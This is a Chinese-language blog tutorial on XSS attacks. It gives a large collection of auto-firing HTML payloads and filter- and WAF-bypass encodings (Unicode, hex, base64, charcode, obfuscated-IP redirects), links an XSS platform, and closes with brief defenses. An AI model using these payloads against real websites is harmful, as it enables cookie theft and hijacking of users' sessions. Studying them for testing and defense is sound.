Web安全之XSS跨站脚本攻击

1.XSS 漏洞简介

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。

攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

2.XSS的原理

  • 攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。
  • 诱使受害者打开受到攻击的服务器URL。
  • 受害者在Web浏览器中打开URL,恶意脚本执行。

3.常用的XSS攻击手段和目的

  • 盗用cookie,获取敏感信息。
  • 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
  • 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的操作如发微博、加好友、发私信等操作。
  • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
  • 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果。

xss平台:https://xss.pt/

4.XSS的攻击方式

反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。一般是后端代码进行处理。

存储型XSS:<持久化> 代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。

5.XSS的危害

  1. 挂马
  2. 盗取用户Cookie。
  3. DOS(拒绝服务)客户端浏览器。
  4. 钓鱼攻击,高级的钓鱼技巧。
  5. 删除目标文章、恶意篡改数据、嫁祸。
  6. 劫持用户Web行为,甚至进一步渗透内网。
  7. 爆发Web2.0蠕虫。
  8. 蠕虫式的DDoS攻击。
  9. 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
  10. 其它安全问题

6.常用的标签与属性

下面我列举的标签大部分是可以自动触发js代码的,无需用户去交互,大部分情况下我们也是希望是自动触发而不是等用户去触发。

<script>

bash 复制代码
<script>alert("xss");</script>

<img>

javascript 复制代码
<img src=1 onerror=alert("xss");>

<input>

javascript 复制代码
<input onfocus="alert('xss');">
javascript 复制代码
竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
javascript 复制代码
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>

<details>

javascript 复制代码
<details ontoggle="alert('xss');">
javascript 复制代码
使用open属性触发ontoggle事件,无需用户去触发
<details open ontoggle="alert('xss');">

<svg>

javascript 复制代码
<svg onload=alert("xss");>

<select>

javascript 复制代码
<select onfocus=alert(1)></select>
javascript 复制代码
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:

<select onfocus=alert(1) autofocus>

<iframe>

javascript 复制代码
<iframe onload=alert("xss");></iframe>

<video>

javascript 复制代码
<video><source onerror="alert(1)">

<audio>

javascript 复制代码
<audio src=x  onerror=alert("xss");>

<body>

javascript 复制代码
<body/onload=alert("xss");>

利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发:

javascript 复制代码
<body
onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

<textarea>

javascript 复制代码
<textarea onfocus=alert("xss"); autofocus>

<keygen>

javascript 复制代码
<keygen autofocus onfocus=alert(1)> //仅限火狐

<marquee>

javascript 复制代码
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以

<isindex>

javascript 复制代码
<isindex type=image src=1 onerror=alert("xss")>//仅限于IE

利用link远程包含js文件

javascript 复制代码
<link rel=import href="http://127.0.0.1/1.js">

javascript伪协议

javascript 复制代码
<a>标签

<a href="javascript:alert(`xss`);">xss</a>


<iframe>标签

<iframe src=javascript:alert('xss');></iframe>


<img>标签

<img src=javascript:alert('xss')>//IE7以下


<form>标签

<form action="Javascript:alert(1)"><input type=submit>

7.常见XSS绕过技巧

空格绕过

当空格被过滤掉时,我们可以用 / 来代替空格

javascript 复制代码
<img/src="x"/onerror=alert(1);>

引号过滤

如果是HTML标签中,我们可以不用引号。如果在JS中,我们可以用反引号代替单双引号

javascript 复制代码
<img src=x onerror=alert(`xss`);>

括号绕过

当括号被过滤掉的时候我们可以使用throw来绕过

javascript 复制代码
<img src=x onerror="javascript:window.onerror=alert;throw 1">

大小写绕过

javascript 复制代码
<ImG sRc=x onerRor=alert("xss");>

双写绕过

有些waf可能只会替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

javascript 复制代码
<imimgg srsrcc=x onerror=alert("xss");>

字符拼接绕过

利用eval

javascript 复制代码
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top

javascript 复制代码
<script>top["al"+"ert"](`xss`);</script>

其它字符混淆

有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了

javascript 复制代码
可利用注释、标签的优先级等
<<script>alert("xss");//<</script>

<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效

<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

JavaScript伪协议

使用o_n和<scr_ipt>过滤时

javascript 复制代码
"><a href=javascript:alert(/xss/)>  

编码绕过

Unicode编码绕过

javascript 复制代码
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

javasc&#x72;&#x69;pt:alert(/xss/)     (编码了r和i)

<img src="x"onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\ u003b')">

url编码绕过

javascript 复制代码
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
  
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Ascii码绕过

javascript 复制代码
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex绕过

javascript 复制代码
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

base64绕过

javascript 复制代码
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

URL绕过

使用URL编码

javascript 复制代码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

javasc&#x72;&#x69;pt:alert('xsshttp://')

使用IP

javascript 复制代码
1.十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>

2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
  
4.html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>

5.使用\\
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议

6.使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度

DIV绕过

利用DIV标签的STYLE属性中的表达式实现XSS攻击:

javascript 复制代码
<DIV STYLE="width: expression(alert('XSS'));">

8.XSS的防御措施

(1)编码:对用户输入的数据进行HTML Entity编码

(2)过滤:移除用户上传的DOM属性,如onerror等,移除用户上传的style节点,script节点,iframe节点等。

(3)校正:避免直接对HTML Entity编码,使用DOM Prase转换,校正不配对的DOM标签。

相关推荐
漏洞谷9 小时前
白帽子为什么几乎都绕不开 httpx:一款 HTTP 资产探测工具的技术价值
web安全·漏洞挖掘·安全工具
用户962377954483 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主4 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954486 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954487 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star7 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954487 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher8 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全